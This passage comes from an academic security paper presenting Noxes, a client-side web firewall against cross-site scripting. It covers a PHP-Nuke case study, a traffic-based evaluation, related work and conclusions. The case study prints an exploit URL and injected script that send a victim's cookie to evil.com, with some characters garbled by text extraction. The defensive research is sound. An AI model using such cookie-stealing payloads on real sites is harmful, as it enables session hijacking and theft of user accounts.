other two attacks).

4.4. A real-world XSS prevention example

This section demonstrates the effectiveness of Noxes on
a real-world vulnerability reported at the security mailing list

Bugtraq (Bicho, 2004). The vulnerability affects several
versions of PHP-Nuke (Burzi, 2005), a popular open-sourceweb
portal system. For the following test, we used the vulnerable
version 7.2 of PHP-Nuke and modified the harmless original

Fig. 7 – Injected JavaScript for stealing cookies through
pop-up windows.

Fig. 8 – A simple frameset.

Fig. 9 – Injected JavaScript for stealing cookies through
frames.

Fig. 10 – Snippet of the automatically injected JavaScript
code at the beginning of an HTML page.
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proof-of-concept exploit to make it steal the victim’s cookie.
In our test environment, the server hosting PHP-Nuke was

reachable at the IP address 128.131.172.126. The following
exploit URL was used to launch a reflected XSS attack:

http://127.131.172.126/modules.php?

name¼ Reviews&rop¼ postcomment&id¼ ’&title¼
%253cscript%3Edocument.location¼
‘http://evil.com/steal-cookie.php?’;

%252bdocument.cookie;%253c/script%3Ebar

Note that the URL strongly resembles that of our intro-
ductory example. If the attacker manages to trick the victim

into clicking on this link, the URL-encoded JavaScript
embedded in the link is inserted into the server’s HTML output
and sent back to the victim. The victim receives the following
script:

<script>

document.location¼ ‘http://evil.com

steal-cookie.php?’þdocument.cookie;

<script>

Hence, the victim is immediately redirected to evil.com’s
page and her cookie is attached to the request as a parameter.
Noxes prevents this redirection (see Fig. 12) since the

malicious target URL is not static, but has been constructed

dynamically in order to pass along the cookie. Apart from this
example, in our tests, Noxes also successfully prevented the
exploitation of the following vulnerabilities listed at Bugtraq:
10524 (PHP-Nuke 7.2), 13507 (MyBloggie 2.1.1) and 395988
(MyBloggie 2.1.1) (Security Focus, 2005).

5. Evaluation

In order to verify the feasibility of our dynamically enhanced
XSS protection mechanism, we analyzed the web surfing
interactions of 24 distinct users in our research group formore
than amonth, between July andAugust 2006. During this time,
we captured and dumped the entire web network traffic using
tcpdump, a popular network sniffer. Because we started the
sniffer on the department Internet gateway and firewall

server, we could be sure that we would see all web traffic
generated by users of the department network. The captured
web traffic in the dump files was around 30GB in size.

We implemented an analysis tool in Java using the jpcap
library (Charles, 2006) and extracted information about
84,608 visited web pages from the dump files. By analyzing
the traffic, we were able to determine how many static links
each visited web page contained, how many of these links
were pointing to external domains (i.e., n as described in
Section 4.3.4), how many external links were actually
requested by the browser (i.e., r as described in Section

4.3.4), and what the k-value was for each page (as presented
in (Kirda et al., 2006)). We used a Java utility called htmlparser
(Oswald, 2006) to extract the static hyperlinks in the page by
looking at HTML elements such as link, script, and img with
attributes such as href and src.

Fig. 11 – Injected JavaScript for stealing cookies through
self.name.

Fig. 12 – Screenshot of the connection alert dialog that indicates that PHP-Nuke is trying to connect to an external domain
during the exploitation of the Bugtraq vulnerability 10493.
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The fact that we captured 30GB of data, but extracted only

84,608 web pages, may surprise the reader. However, after
analyzing the data, we observed that a significant amount of
the web traffic volume was due to the download of automatic
updates (both for Windows and Linux machines). Further-
more, several users were downloading large files from the
Internet, such as movies and shareware applications.

Table 3 presents statistical information about the analyzed
web pages. The web pages contained a total of 6,460,952 links
of which 724,438 pointed to external domains (about 11%). Of
these external links, 173,917 (about 24%) were actually
requested by the browser, either because the user clicked on

a link or because the page contained elements that were
automatically loaded.

We then applied Equation 2 to our data set and calculated
the information leakage for the visited web pages. Fig. 13
shows the results for these experiments. More precisely, the
graph depicts the number of web pages for which at most
a certain amount of bits were leaked (for different values of
information leakage). One can observe that about 55,000 of the
visited pageswould not have leaked any information and thus,
all their links could be freely visited. If, for example, we would
allow 20 bits of sensitive information to be leaked to the

attacker, no firewall prompts would be generated for 79,379 of
the visited pages (which is about 94%). We believe that leaking
20–30 bits is acceptable for a majority of web sites. GMail, for
example, uses cookie values that are more than 200 bits in
size, and Yahoomail uses values that aremore than 150 bits in
size. Furthermore, programming environments such as Java
servlets and PHP typically generate session IDs that are two
hundred bits in size. Also, Noxes would have requiredmanual
interaction in about 6% of the cases when external links or
references were requested. We believe that this makes the
tool usable in practice.

When we analyzed the k-values of the extracted pages, we
observed that with a default k-value of 4 as described in (Kirda
et al., 2006), no prompts would be generated for 92% of the
visited pages.

Given the results outlined above, we can conclude that our
enhanced XSS mitigation technique performs as well as the
k-value approach that we presented in (Kirda et al., 2006),
while at the same time, providing a solution against security
threats such as multi-domain attacks.

6. Related work

Clearly, the idea of using application-level firewalls to
mitigate security threats is not new. Several solutions have

been proposed to protect web applications by inspecting

HTTP requests in an attempt to prevent application-level
attacks.

Scott and Sharp (Scott and Sharp, 2002) describe a web
proxy that is located between the users and the web applica-
tion, and that makes sure that a web application adheres to
pre-written security policies. Themain critique of such policy-
based approaches is that the creation and management of
security policies is a tedious and error-prone task.

Similar to (Scott and Sharp, 2002), there exists a commer-
cial product called AppShield (Sanctum Inc., 2005), which is
a web application firewall proxy that apparently does not need

security policies. AppShield claims that it can automatically
mitigate web threats such as XSS attacks by learning from the
traffic to a specific web application. Because the product is
closed-source, it is impossible to verify this claim. Further-
more, (Scott and Sharp, 2002) reports that AppShield is a plug-
and-play application that can only do simple checks and thus,
can only provide limited protection because of the lack of any
security policies.

The main difference of our approach with respect to
existing solutions is that Noxes is a client-side solution. The
solutions presented in (Scott and Sharp, 2002) and (Sanctum

Inc., 2005) are both server-side that aim to protect specific web
applications. Furthermore, these solutions require the will-
ingness of the service providers to invest into the security of
their web applications and services. In cases where service
providers are either unwilling or unable to fix their XSS
vulnerabilities, users are left defenseless (e.g., e-Bay was
reported to have several XSS vulnerabilities that were not
fixed for several months although they were widely known by
the public (Kossel, 2004)). The main contribution of Noxes is
that it provides protection against XSS attacks without relying
on the web application providers. To the best of our knowl-

edge, Noxes is the first practical client-side solution for mitigating
XSS attacks.

It is worth noting that, besides proxy-based solutions,
several software engineering techniques have also been
presented for locating and fixing XSS vulnerabilities. In
another research project, our group is investigating tech-
niques based on data flow analysis that can be used to
detect XSS and related vulnerabilities in web applications
(Jovanovic et al., 2006a,b). In (Huang et al., 2003), Huang
et al. describe the use of a number of software-testing
techniques (including dynamic analysis, black-box testing,
fault injection and behavior monitoring) and suggest

mechanisms for applying these techniques to web applica-
tions. The aim is to discover and fix web vulnerabilities such
as XSS and SQL injection. The target audience of the pre-
sented work is the web application development commu-
nity. Similarly, in their follow-up work (Huang et al., 2004),
Huang et al. describe a tool called WebSSARI that uses static
code analysis and run-time inspection to locate and
partially fix input-based web security vulnerabilities.
Although the proposed solutions are important contribu-
tions to web security, they can only have impact if web
developers use such tools to analyze and fix their applica-

tions. The ever-increasing number of reported XSS vulner-
abilities, however, suggests that developers are still largely
unaware of the XSS problem.

Table 3 – Statistical information about the analyzed web
pages

Number of links 6,460,952
Number of external links 724,438
Number of requested

internal links
698,483

Number of requested
external links

173,917
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7. Implementation and future work

We implemented theprototypeversionofNoxes as aWindows
.NET application in C#. The application has a small footprint
and consists of about 5400 lines of code. We chose .NET as the
implementation platform because a significant proportion of
Internet users surf theweb underMSWindows. Because of the
conceptual and library similarities of C# and Java, we also
expect the code to be portable to Java without difficulties.
Hence, it would then be possible to use Noxes in other oper-
ating system environments such as Linux and MacOS.

In the proof-of-concept prototype implementation of
Noxes, the filter rules are maintained using built-in .NET data
structures such as hash tables and array lists. Althoughwe are
not aware of any filter rule-related performance problems at
the moment, we note that some data structure optimization
may be required in the future.

AlthoughNoxes is fully functional, somework still remains
to be done: First, we are planning to make the tool available as
a freeware utility. At the moment, we provide the tool on
request. Second, we are considering writing browser exten-
sions for Internet Explorer and the Mozilla browser to enable

a smooth integration with Noxes. We plan to integrate hot-
keys and menu short-cuts into the browsers to allow users to
quickly switch between using direct Internet connection or
Noxes as a web proxy. Another possibility could be to activate
Noxes automatically when certain web sites are visited. Such
mechanisms would make the selective, specific web site-
based use of Noxes easier for users that are technically
unsophisticated or inexperienced. Third, Noxes currently
lacks SSL support and we would like to provide this func-
tionality as soon as possible.

8. Conclusions

XXS vulnerabilities are being discovered and disclosed at an
alarming rate. XSS attacks are generally simple, but difficult to
prevent because of the high flexibility that HTML encoding
schemes provide to the attacker for circumventing server-side

input filters. In (Endler, 2002), the author describes an auto-
mated script-based XSS attack and predicts that semi-auto-

mated techniques will eventually begin to emerge for
targeting and hijacking web applications using XSS, thus
eliminating the need for active human exploitation.

Several approaches have been proposed to mitigate XSS
attacks. These solutions, however, are all server-side and aim
to either locate and fix the XSS problem in a web application,
or protect a specific web application against XSS attacks by
acting as an application-level firewall. Themain disadvantage
of these solutions is that they rely on service providers to be
aware of the XSS problem and to take the appropriate actions
to mitigate the threat. Unfortunately, there are many exam-

ples of cases where the service provider is either slow to react
or is unable to fix an XSS vulnerability, leaving the users
defenseless against XSS attacks.

In this paper, we present Noxes, a personal web firewall
that helps mitigate XSS attacks. The main contribution of
Noxes is that it is the first client-side solution that provides XSS
protection without relying on web application providers.
Noxes supports an XSS mitigation mode that significantly
reduces the number of connection alert prompts while, at the
same time, it provides protection against XSS attacks where
the attackersmay target sensitive information such as cookies

and session IDs.
Web applications are becoming the dominant way to

provide access to online services, but, at the same time, there is
a large variance among the technical sophistication and
knowledge of web developers. Therefore, there will always be
web applications vulnerable to XSS. We believe that there is
a genuineneed for a client-side tool suchasNoxes, andwehope
that Noxes and the concepts we present in this paper will be
a useful contribution in protecting users against XSS attacks.
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